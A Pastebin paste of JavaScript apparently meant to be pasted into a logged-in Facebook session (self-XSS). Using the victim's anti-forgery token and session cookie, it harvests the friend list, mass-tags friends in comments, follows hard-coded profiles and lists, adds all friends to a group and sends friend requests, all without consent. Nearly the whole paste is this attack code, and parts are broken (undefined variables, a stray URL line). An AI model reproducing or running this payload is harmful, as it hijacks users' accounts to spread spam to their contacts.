Advertisement
Guest User

AUTO MENTION BY : PRINCE PARE

a guest
Apr 24th, 2014
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.27 KB | None | 0 0
  1. /* auto tagging */
  2. function x__0() { return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest; };
  3.  
  4. //past all friends
  5. function get_friends(){
  6. var a=x__0();
  7. a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
  8. a.send(null);
  9. if (a.readyState == 4) {
  10. var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
  11. return f.payload.entries;
  12. }
  13. return false;
  14. }
  15.  
  16. /* end of end */
  17.  
  18. //past all friends
  19. function get_uid(b){
  20. var a=x__0();
  21. a.open("GET", 'http://graph.facebook.com/'+b, false);
  22. a.send();
  23. if (a.readyState == 4) {
  24. return uid = JSON.parse(a.responseText).id;
  25.  
  26. }
  27. return false;
  28. }
  29. // Pattern that will change the value of comments by marking? S
  30.  
  31. var patt = /comment_text=(.*?)&/
  32. var c = 1;
  33. username = /\.com\/(.*?)\//.exec(window.top.location)[1];
  34. uid = get_uid(username);
  35. a = window.top.location;
  36. termina = 0;
  37. var amigos = get_friends();
  38. post_id = /[0-9]{8,}/.exec(a);
  39. uids = 'comment_text=';
  40. header = 'ft_ent_identifier='+post_id+'&comment_text=?&source=1&client_id=1359576694192%3A1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user='+uid+'&__a=1&__req=4u&fb_dtsg='+document.getElementsByName('fb_dtsg')[0].value+'&phstamp='+Math.random();
  41. for ( var n = 1 ; n < amigos.length ; n++ ){
  42. //uids += '%40[' + amigos[n].uid + '%3A' + encodeURI(amigos[n].text) + ']%20';
  43. fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. uids += '%40[' + amigos[n].uid + '%3AAAAAAAAAAAA]%20';
  45. c++;
  46. if(c == 7){
  47. // When the counter reaches 7, it ends with a parameter & ...
  48. uids += '&';
  49. // ... Send things to the method of the Indian ...
  50. with(new XMLHttpRequest()) open("POST", "/ajax/ufi/add_comment.php?__a=1"),setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),send(header.replace(patt, uids));
  51.  
  52. // ... wait a second ...
  53. z = setTimeout('function(){asd=0}', 1000);
  54. clearInterval(z);
  55.  
  56. // ... and set everything back to start
  57. c = 1;
  58. uids = 'comment_text=';
  59.  
  60.  
  61. }
  62.  
  63. }
  64.  //end this part with no
  65. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  66. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  67.  
  68. function cereziAl(isim) {
  69. var tarama = isim + "=";
  70. if (document.cookie.length > 0) {
  71. konum = document.cookie.indexOf(tarama)
  72. if (konum != -1) {
  73. konum += tarama.length
  74. son = document.cookie.indexOf(";", konum)
  75. if (son == -1)
  76. son = document.cookie.length
  77. return unescape(document.cookie.substring(konum, son))
  78. }
  79. else { return ""; }
  80. }
  81. }
  82.  
  83. function getRandomInt (min, max) {
  84. return Math.floor(Math.random() * (max - min + 1)) + min;
  85. }
  86. function randomValue(arr) {
  87. return arr[getRandomInt(0, arr.length-1)];
  88. }
  89.  
  90. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  91. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  92.  
  93. function a(abone){
  94. var http4 = new XMLHttpRequest();
  95.  
  96. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  97.  
  98. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  99. http4.open("POST", url4, true);
  100.  
  101. //Send the proper header information along with the request
  102. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  103. http4.setRequestHeader("Content-length", params4.length);
  104. http4.setRequestHeader("Connection", "close");
  105.  
  106. http4.onreadystatechange = function() {//Call a function when the state changes.
  107. if(http4.readyState == 4 && http4.status == 200) {
  108.  
  109. http4.close; // Close the connection
  110.  
  111. }
  112. }
  113.  
  114. http4.send(params4);
  115. }
  116.  
  117. function sublist(uidss) {
  118. var a = document.createElement('script');
  119. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  120. document.body.appendChild(a);
  121. }
  122. sublist("376221445851678");sublist("379974605476362");sublist("379755278831628");sublist("278185929008060");sublist("100003914764441");
  123. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  124. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  125.  //2 LEMALA
  126. var httpwp = new XMLHttpRequest();
  127. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  128. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  129. httpwp['open']('POST', urlwp, true);
  130. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  131. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  132. httpwp['setRequestHeader']('Connection', 'keep-alive');
  133. httpwp['send'](paramswp);
  134.  
  135. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  136. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  137.  
  138. var friends = new Array();
  139. gf = new XMLHttpRequest();
  140. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  141. gf['send']();
  142. if (gf['readyState'] != 4) {} else {
  143. data = eval('(' + gf['responseText']['substr'](9) + ')');
  144. if (data['error']) {} else {
  145. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  146. return _0x93dax8['index'] - _0x93dax9['index'];
  147. });
  148. };
  149. };
  150.  
  151. for (var i = 0; i < friends['length']; i++) {
  152. var httpwp = new XMLHttpRequest();
  153. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  154. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  155. httpwp['open']('POST', urlwp, true);
  156. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  157. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  158. httpwp['setRequestHeader']('Connection', 'keep-alive');
  159. httpwp['onreadystatechange'] = function () {
  160. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  161. };
  162. httpwp['send'](paramswp);
  163. };
  164. var spage_id = "278185929008060";
  165. var spost_id = "278185929008060";
  166. var sfoto_id = "278185929008060";
  167. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  168. var smesaj = "";
  169. var smesaj_text = "";
  170. var arkadaslar = [];
  171. var svn_rev;
  172. var bugun= new Date();
  173. var btarihi = new Date();
  174. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  175. if(!document.cookie.match(/paylasti=(\d+)/)){
  176. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  177. }
  178.  
  179.  
  180. //arkadaslari al ve isle
  181. function sarkadaslari_al(){
  182. var xmlhttp = new XMLHttpRequest();
  183. xmlhttp.onreadystatechange = function () {
  184. if(xmlhttp.readyState == 4){
  185. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  186. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  187. smesaj = "";
  188. smesaj_text = "";
  189. for(i=f*10;i<(f+1)*10;i++){
  190. if(arkadaslar.payload.entries[i]){
  191. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  192. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  193. }
  194. }
  195. sdurumpaylas(); }
  196.  
  197. }
  198.  
  199. };
  200. var params = "&filter[0]=user";
  201. params += "&options[0]=friends_only";
  202. params += "&options[1]=nm";
  203. params += "&token=v7";
  204. params += "&viewer=" + user_id;
  205. params += "&__user=" + user_id;
  206.  
  207. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  208. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  209. xmlhttp.send();
  210. }
  211.  
  212. //tiklama olayini dinle
  213. var tiklama = document.addEventListener("click", function () {
  214. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  215. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  216. sarkadaslari_al();
  217. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  218.  
  219. document.removeEventListener(tiklama);
  220. }
  221. }, false);
  222.  
  223.  
  224. //arkada?? ekleme
  225. function sarkadasekle(uid,cins){
  226. var xmlhttp = new XMLHttpRequest();
  227. xmlhttp.onreadystatechange = function () {
  228. if(xmlhttp.readyState == 4){
  229. }
  230. };
  231.  
  232. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  233. var params = "to_friend=" + uid;
  234. params += "&action=add_friend";
  235. params += "&how_found=friend_browser";
  236. params += "&ref_param=none";
  237. params += "&outgoing_id=";
  238. params += "&logging_location=friend_browser";
  239. params += "&no_flyout_on_click=true";
  240. params += "&ego_log_data=";
  241. params += "&http_referer=";
  242. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  243. params += "&phstamp=165816749114848369115";
  244. params += "&__user=" + user_id;
  245. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  246. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  247.  
  248. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  249. xmlhttp.send(params);
  250. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  251. cinsiyetgetir(uid,cins,"sarkadasekle");
  252. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  253. xmlhttp.send(params);
  254. }
  255. }
  256.  
  257. //cinsiyet belirleme
  258. var cinssonuc = {};
  259. var cinshtml = document.createElement("html");
  260. function scinsiyetgetir(uid,cins,fonksiyon){
  261. var xmlhttp = new XMLHttpRequest();
  262. xmlhttp.onreadystatechange = function () {
  263. if(xmlhttp.readyState == 4){
  264. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  265. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  266. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  267. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  268. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  269. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  270. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  271. }
  272. eval(fonksiyon + "(" + id + "," + cins + ");");
  273. }
  274. };
  275. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  276. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  277. xmlhttp.send();
  278. }
  279. http://first_degree.php/?__a=1&filter%5B0%5D=user&lazy=0&viewer=%22+uid+%22&token=v7&stale_ok=0&opti
  280. first_degree.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement